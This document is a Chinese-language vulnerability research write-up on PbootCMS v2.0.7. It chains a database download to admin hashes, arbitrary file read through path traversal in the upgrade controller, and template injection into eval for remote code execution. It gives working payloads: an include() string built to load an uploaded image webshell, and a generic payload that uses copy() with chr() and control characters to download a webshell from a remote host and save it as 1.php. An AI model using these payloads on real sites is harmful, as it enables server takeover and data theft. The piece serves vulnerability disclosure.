PbootCMS v2.0.7从前台数据库下载到后台RCE研究

前言

PbootCMS是全新内核且永久开源免费的PHP企业网站开发建设管理系统，是一套高效、简洁、 强悍的可免费商用的PHP CMS源码，能够满足各类企业网站开发建设的需要。

环境:

• Apache 2.4.39
• PHP 7.3.8

分析

该程序的特点是默认使用的sqlite数据库

可以看看数据库的配置文件config/database.php

<?php
/**
 * 主数据库连接参数，未配置的参数使用框架惯性配置
 * 如果修改为mysql数据库，请同时修改type和dbname两个参数
 */
return array(

    'database' => array(

        'type' => 'sqlite', // 数据库连接驱动类型: mysqli,sqlite,pdo_mysql,pdo_sqlite

        'host' => '127.0.0.1', // 数据库服务器

        'user' => 'pboot', // 数据库连接用户名

        'passwd' => '123456', // 数据库连接密码

        'port' => '3306', // 数据库端口

        // 'dbname' => 'pbootcms' // 去掉注释，启用mysql数据库，注意修改前面的连接信息及type为mysqli

        'dbname' => '/data/pbootcms.db' // 去掉注释，启用Sqlite数据库，注意修改type为sqlite
    )

);

默认的数据库路径是/data/pbootcms.db，且data目录下没有进行任何的判断，后台也没有提供修改数据库路径的功能，所以可直接下载。

下载后用sqlite3打开就可以得到用户的hash，hash使用的是md5(md5($pass))生成的。

所以这里直接挖后台的洞

任意文件读取

漏洞文件apps/admin/controller/system/UpgradeController.php

<?php
    ...
    public function update(){
        if ($_POST) {
            if (! ! $list = post('list')) {
                $list = explode(',', $list);
                $backdir = date('YmdHis');

                // 分离文件
                foreach ($list as $value) {
                    if (stripos($value, '/script/') !== false) {
                        $sqls[] = $value;
                    } else {
                        $path = RUN_PATH . '/upgrade' . $value;
                        $des_path = ROOT_PATH . $value;
                        $back_path = DOC_PATH . STATIC_DIR . '/backup/upgrade/' . $backdir . $value;
                        if (! check_dir(dirname($des_path), true)) {
                            json(0, '目录写入权限不足，无法正常升级！' . dirname($des_path));
                        }
                        if (file_exists($des_path)) { // 文件存在时执行备份
                            check_dir(dirname($back_path), true);
                            copy($des_path, $back_path);
                        }

                        // 如果后台入口文件修改过名字，则自动适配
                        if (stripos($path, 'admin.php') !== false && stripos($_SERVER['SCRIPT_FILENAME'], 'admin.php') === false) {
                            if (file_exists($_SERVER['SCRIPT_FILENAME'])) {
                                $des_path = $_SERVER['SCRIPT_FILENAME'];
                            }
                        }

                        $files[] = array(
                            'sfile' => $path,
                            'dfile' => $des_path
                        );
                    }
                }

                // 更新数据库
                if (isset($sqls)) {
                    $db = new DatabaseController();
                    switch (get_db_type()) {
                        case 'sqlite':
                            copy(DOC_PATH . $this->config('database.dbname'), DOC_PATH . STATIC_DIR . '/backup/sql/' . date('YmdHis') . '_' . basename($this->config('database.dbname')));
                            break;
                        case 'mysql':
                            $db->backupDB();
                            break;
                    }
                    sort($sqls); // 排序
                    foreach ($sqls as $value) {
                        $path = RUN_PATH . '/upgrade' . $value;
                        if (file_exists($path)) {
                            //echo $path;
                            //exit;
                            $sql = file_get_contents($path);
                            if (! $this->upsql($sql)) {
                                $this->log("数据库 $value 更新失败!");
                                json(0, "数据库" . basename($value) . " 更新失败！");
                            }
                        } else {
                            json(0, "数据库文件" . basename($value) . "不存在！");
                        }
                    }
                }

                // 替换文件
                if (isset($files)) {
                    foreach ($files as $value) {
                        if (! copy($value['sfile'], $value['dfile'])) {
                            $this->log("文件 " . $value['dfile'] . " 更新失败!");
                            json(0, "文件 " . basename($value['dfile']) . " 更新失败，请重试!");
                        }
                    }
                }

                // 清理缓存
                path_delete(RUN_PATH . '/upgrade', true);
                path_delete(RUN_PATH . '/cache');
                path_delete(RUN_PATH . '/complite');
                path_delete(RUN_PATH . '/config');

                $this->log("系统更新成功!");
                json(1, '系统更新成功！');
            } else {
                json(0, '请选择要更新的文件！');
            }
        }
    }
    ...
?>

可以看到注释写着更新数据库的部分，将$sqls遍历出来后放进了file_get_contents函数，然后调用了一个upsql()方法。跟过去看一下。

<?php
    // 执行更新数据库
    private function upsql($sql){
        $sql = explode(';', $sql);
        $model = new Model();
        foreach ($sql as $value) {
            $value = trim($value);
            if ($value) {
                $model->amd($value);
            }
        }
        return true;
    }
?>

将传过来的字符串用;分隔后又调用了一个Model::amd()方法。继续跟下去。

文件core/database/Sqlite.php

<?php
    ...
    // 数据增、删、改模型，接受完整SQL语句，返回影响的行数的int数据
    public function amd($sql){
        $result = $this->query($sql, 'master');
        if ($result) {
            return $result;
        } else {
            return 0;
        }
    }
    // 执行SQL语句,接受完整SQL语句，返回结果集对象
    public function query($sql, $type = 'master'){
        ...
        switch ($type) {
            case 'master':
                if (! $this->begin) { // 存在写入时自动开启显式事务，提高写入性能
                    $this->master->exec('begin;');
                    $this->begin = true;
                }
                $result = $this->master->exec($sql) or $this->error($sql, 'master');
                break;
            case 'slave':
                $result = $this->slave->query($sql) or $this->error($sql, 'slave');
                break;
        }
        return $result;
    }
    // 显示执行错误
    protected function error($sql, $conn){
        $err = '错误：' . $this->$conn->lastErrorMsg() . '，';
        if ($this->begin) { // 存在显式开启事务时进行回滚
            $this->master->exec('rollback;');
            $this->begin = false;
        }
        error('执行SQL发生错误！' . $err . '语句：' . $sql);
    }
    ...
?>

这里的amd()方法又调用了一个query()方法，在query()方法里可以看到直接将$sql放进SQL执行函数里，如果执行失败，直接将$sql打印出来。

这样看下来这里的漏洞可以拿来执行任意SQL语句，但是由于这里用的是sqlite数据库，且当前已经在后台里了，所以这里的任意SQL执行也没啥可以利用的。（可能可以审一下用数据库里的数据当做输入的点，没准能利用起来）

但是由于正常的文件内容读出来直接当做SQL语句执行肯定会报错，所以这里可以用来读取文件。

经过回溯可以发现$sqls，使用的POST传输过来的数据，且数据中需要有/script/字符串。

构造Payload：

URL: http://pbootcms/admin.php?p=/Upgrade/update
POST: list=/script/../../../config/database.php

即可读取到文件（仅限在Windows下，Linux不支持在不存在的文件夹下上跳，Linux下利用的话得找到一个系统或者程序自带的/script/目录）

模板注入

看了一下程序后，了解到该程序使用了模板引擎进行内容解析，这时候就可以考虑能否进行模板注入了。

大概看了一下模板引擎的代码后发现一个解析if语句的地方很有趣。

文件：apps/home/controller/ParserController.php

精简后的代码如下：

<?php
    public function parserIfLabel($content){
        $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $danger = false;

                // 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value)){
                            $danger = true;
                            break;
                        }
                    }
                }

                // 过滤特殊字符串
                if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
                    $danger = true;
                }

                // 如果有危险函数，则不解析该IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ...
?>

这里大概的意思就是，在模板的if语句中，通过正则找到函数的结构，然后将其传入function_exists，如果该函数存在则不执行下面的eval()

如果可以编辑模板文件，或者存在模板注入的话，那么就可以尝试绕一下这些限制，看能不能往eval()里面注入代码。

在后台翻了一下，没有看到有对模板文件进行修改的地方，所以考虑模板注入。

在后台的公司信息栏目插入符合模板if语句的Payload:{pboot:if(1)}OK{/pboot:if}

可以看到这里的模板语句已经解析了。所以这里是存在模板注入的。

但是这个程序是有对所有参数进行全局的htmlspecialchars和addslashes的，在结合上面的正则，导致我们不能使用很多字符。

有：'"$}和反引号、\x00等等。

根据这个限制我很快有了一种思路：

php的语法有一些具有函数结构，但是却不是函数的关键字。

例如：include()、array()等。

现在思路就很明确了，既然 include()可以绕过函数检测这个点，那么往里面传参数就完事了。

接下来就是要想办法在当前限制下构造出一个字符串往include()里面传了。

• 思路1：

  通过$_SERVER数组传，但是前面的正则ban了$，所以这个思路不行。

• 思路2：

  使用get_defined_vars()从get的参数里面获取，但是get_defined_vars不能过function_exists，所以也不行。

• 思路3：

  PHP7.2版本开始：不带引号的字符串是不存在的全局常量的话，那么则转化成他们自身的字符串。

  意思就是echo a=>define(a, 'a');echo a;

  

  那么就可以不使用引号，从而构造字符串了。

  所以我们可以在后台上传一个图片马，然后用include()去包含getshell了。

  但是这里有个问题，上传后的图片路径会有数字和/、.，而数字和/、.不带引号是不会触发上面说的trick的。

  也就是现在能构造任意字母了，但是还需要数字和/、.

  /和.其实很好办，PHP有几个预定义常量如__FILE__，获取当前的文件的绝对路径

  在程序里打印一下看看

  

  .和/都有，但是直接用数组的方式去取是会报错的。

  这时候就需要用到刚刚说的array()了，将__FILE__放进array()里之后再利用去二维数组的方式去取就不会报错了。（因为这里是将常量赋值进了数组里面，不是直接对常量进行数组的方式取值，所以不会报错。）

  var_dump(array(__FILE__)[0][-4]); //=.

  var_dump(array(__FILE__)[0][-21]); //=/

  

  现在就缺数字了，而且该数字还必须是String型的数字。

  PHP下还有带有数字的常量，例如__LINE__、__PHP_VERSION__，但是这些数字可能不太够，而且也不太能确定具体得值，不够"一般化"。

  于是开始寻找别的办法。

  于是我开始全局搜索define(，寻找在程序中定义的，可控或者含有数字的常量。

  文件：core/view/Paging.php

  <?php
      ...
    public function limit($total = null, $morePageStr = false){
          // 起始数据调整
          if (! is_numeric($this->start) || $this->start < 1) {
              $this->start = 1;
          }
          if ($this->start > $total) {
              $this->start = $total + 1;
          }
  
          // 设置总数
          if ($total) {
              $this->rowTotal = $total - ($this->start - 1);
          }
  
          // 设置分页大小
          if (! isset($this->pageSize)) {
              $this->pageSize = get('pagesize') ?: Config::get('pagesize') ?: 15;
          }
  
          // 分页数字条数量
          $this->num = Config::get('pagenum') ?: 5;
  
          // 计算页数
          $this->pageCount = @ceil($this->rowTotal / $this->pageSize);
  
          // 获取当前页面
          $this->page = $this->page();
  
          // 定义相关常量，用于方便模板引擎解析序号等计算和调用
          define('ROWTOTAL', $this->rowTotal);
          define('PAGECOUNT', $this->pageCount);
          define('PAGE', $this->page);
          define('PAGESIZE', $this->pageSize);
  
          // 注入分页模板变量
          $this->assign($morePageStr);
  
          // 返回限制语句
          return ($this->page - 1) * $this->pageSize + ($this->start - 1) . ",$this->pageSize";
      } 
    // 当前页码容错处理
      private function page(){
          $page = get('page', 'int') ?: $this->page;
          if (is_numeric($page) && $page > 1) {
              if ($page > $this->pageCount && $this->pageCount) {
                  return $this->pageCount;
              } else {
                  return $page;
              }
          } else {
              return 1;
          }
      }
    ...
  ?>

  这里是该程序的一个分页类，可以看到里面有一个叫PAGE的常量，且该常量可控。

  那么就寻找调用了这个分页类的地方传入page就好。

  例如：http://pbootcms/?keyword=123&page=0123456789

  

  且该常量为string类型。

  至此，路径中需要的字符都构造出来了，只需要用.连接即可。

  利用过程：

  1. 上传图片马

     

     得到路径static/upload/image/20200417/1587111957160139.png

  2. 根据路径构造payload

     include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].(马赛克).png)

     将payload放入模板的if语句中

  3. 模板注入

     

  4. 访问带有分页类且又能输出公司地址的地方

     

     Getshell成功！！！CTF再次诚不欺我！！！

一般化

一开始在研究这个漏洞的时候，就觉得有点麻烦，又要上传图片马，又要构造图片马的路径，不能一个payload直接打，十分麻烦。

于是就跑去问了问P师傅（P牛，永远滴神！）

P师傅理解了我的需求后，直接甩了个payload给我

看到后我才想起，以前就看过P师傅的一篇文章里面的一个trick：在一个函数的括号前面加入一些控制字符，PHP一样能识别改函数并执行。利用这个trick就可以执行任意函数了。

于是根据P师傅给的思路再结合程序本身的一些其他的黑名单限制，很快我就构造出了一个通用的Payload

{pboot%3aif(copy%01(chr%01(104).chr%01(116).chr%01(116).(马赛克),chr%01(49).chr%01(46).chr%01(112).chr%01(104).chr%01(112)))}asdasdasd{/pboot%3aif}

利用一个copy()函数到远程服务器上下载一个webshell放在本地，这里的webshell地址通过chr()函数一个个还原出shell地址一个个拼接。

向模板注入该payload：

访问前台触发点：

则会去http://mock.x.dnshia.cn/shell下载webshell，并保存到1.php

参考链接

PHP动态特性的捕捉与逃逸